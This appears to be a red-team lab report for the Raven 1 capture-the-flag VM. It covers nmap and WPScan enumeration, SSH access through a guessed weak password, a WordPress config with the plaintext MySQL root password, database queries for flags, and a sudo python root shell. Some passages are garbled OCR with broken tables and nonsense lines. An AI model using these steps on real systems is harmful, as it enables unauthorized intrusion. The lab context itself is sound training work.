## **Red Team: Summary of Operations**

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## **Exposed Services**

Nmap scan results for each machine reveal the below services and OS details:

\$ nmap -sS -A 192.16.1.0/24

```
Nmap scan report for 192.168.1.110
Host is up (0.00068s latency).
Not shown: 995 closed ports
        STATE SERVICE
                           VERSION
                           OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
22/tcp open ssh
  ssh-hostkey:
    1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
    2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
    256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
    256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
http-server-header: Apache/2.4.10 (Debian)
 _http-title: Raven Security
111/tcp open rpcbind 2-4 (RPC #100000)
  rpcinfo:
    program version port/proto service
    100000 2,3,4
100000 2,3,4
                      111/tcp rpcbind
111/udp rpcbind
    100000 2,3,4
100000 3,4
100024 1
100024 1
100024 1
                        111/tcp6 rpcbind
111/udp6 rpcbind
                       34116/udp6 status
                        38098/udp
                                    status
                        46221/tcp6 status
                        59253/tcp status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.2.14-Debian (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
```

This scan identifies the services below as potential points of entry:

Target 1

- Port 22 SSH
- o Port 80 HTTP
- o Port 111 rpcbind
- o Port 139 netbios-ssn
- Port 445 netbios-ssn

The following vulnerabilities were identified on each target:

Target 1 was found to have a vulnerable wordpress server after researching the http web page of the identified IP address using the following command: wpscan --url http://192.168.1.110/wordpress



## **Exploitation**

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

After scanning Target 1 and identifying two usernames we were able to gain access via ssh with one of the users credentials. Upon doing so we were able to gain access to confidential files containing the credentials to access Target 1s MySQL account. Once

we gained access to this account we were able to access the hashed passwords of both accounts we had discovered in a previous wordpress scan.

```
[i] User(s) Identified:
[+] steven
Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection
 | Confirmed By: Login Error Messages (Aggressive Detection)
[+] michael
Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection
 | Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPVulnDB API Token given, as a result vulnerability data has not bee
n output.
[!] You can get a free API token with 50 daily requests by registering at h
ttps://wpvulndb.com/users/sign_up
[+] Finished: Thu Nov 18 16:28:17 2021
[+] Requests Done: 26
[+] Cached Requests: 26
[+] Data Sent: 5.95 KB
[+] Data Received: 119.956 KB
[+] Memory used: 121.984 MB
[+] Elapsed time: 00:00:02
root@Kali:~#
```

```
// ** MySQL settings - You can get this info from your web host ** //
  /** The name of the database for WordPress */
  define('DB_NAME', 'wordpress');
  /** MySQL database username */
  define('DB_USER', 'root');
  /** MySQL database password */
  define('DB_PASSWORD', 'R@v3nSecurity');
  ** MySQL hostname */
  define('DB_HOST', 'localhost');
  /** Database Charset to use in creating database tables. */
  define('DB_CHARSET', 'utf8mb4');
  /** The Database Collate type. Don't change this if in doubt. */
  define('DB_COLLATE', '');
  /**#@+
   * Authentication Unique Keys and Salts.
   * Change these to different unique phrases!
     You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/s$
   * You can change these at any point in time to invalidate all existing cookies. This$
mysql> SELECT * FROM wp_users;
| ID | user_login | user_pass
                                                            | user_nicename | user_email
                                                                                                   | user_url | use
r_registered | user_activation_key | user_status | display_name |
201
2 rows in set (0.00 sec)
mysql>
         ← End footer Area → New Methods
← flag1{b9bbcb33e11b80be759c4e844862482d} →
        "TaggipubclesizeFlooder39E146047632464"
"TaggipubclesizeFlooder39E14604764"
"TaggipubclesizeFlooder39E14604764"
"TaggipubclesizeFlooder39E14604764"
"TaggipubclesizeFlooder39E14604764"
"Script src="js/vendor/jquery-2.2.4.min.js"></script>

<script src="js/vendor/bootstrap.min.js"></script>

<script type="text/javascript" src="https://maps.googleapis.com/maps/api/js?key=AIzaSyBhOdIF3Y9382f$

<script src="js/easing.min.js"></script></script></script>
     ^0 WriteOut
                          ^R Read File
^W Where Is
                                                ^Y Prev Page
^V Next Page
                                                                      ^K Cut Text
^U UnCut Text
                                                                                            <sup>^</sup>C Cur Pos
<sup>^</sup>T To Spell
       Justify
```

- Flag1.txt: b9bbcb33e11b80be759c4e844862482d
  - Exploit Used

- We used a WPScan to enumerate Wordpress.
- wpscan --url http://192.168.1.110/wordpress/
- Flag2.txt: fc3fd58dcdad9ab23faca6e9a36e581c
  - Exploit Used
    - Using ssh michael@192.168.1.110 and performing some simple manually brute forcing to find michael's password (michael) since we knew they used insecure passwords, we gained access to the machine
  - We navigated to root and starting drilling down paths toward the Wordpress location and found flag2.txt during this process

```
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
```

- Flag3.txt: afc01ab56b50591e7dccf93122770cd2
  - Exploit Used:
    - Once we gained access to the mySQL, we searched the wordpress database for information and found flag3 in the wp\_posts table. This also included the hash for flag4 (See Screenshot below).
  - Commands:
    - mysql -u root -p'R@v3nSecurity' -h 127.0.0.1
    - Show databases:
    - Use wordpress;
    - Show tables;
    - Select \* FROM wp\_posts
- Flag4.txt: 715dea6c055b9fe3337544932f2941ce
  - Exploit Used:
- Once gaining access as Steven we ran sudo -I to find Steven's privileges and found he
  had sudo access in python
- After running a python command to gain access to the root directory via Stevens user account we were able to gain access to the fourth flag in /root.
- Commands ran: python -c 'import pty;pty.spawn("bin/bash")', cat flag4.txt

```
steven@target1:~$ cd /home
steven@target1:/home$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@target1:/home# id
uid=0(root) gid=0(root) groups=0(root)
root@target1:/home#
```

root@target1:~# cat flag4.txt
1 \
_/ /
// _`\\// _\'_\
flag4{715dea6c055b9fe3337544932f2941ce}
CONGRATULATIONS on successfully rooting Raven!
This is my first Boot2Root VM - I hope you enjoyed it.
Hit me up on Twitter and let me know what you thought:
@mccannwj / wjmccann.github.io root@target1:~# ■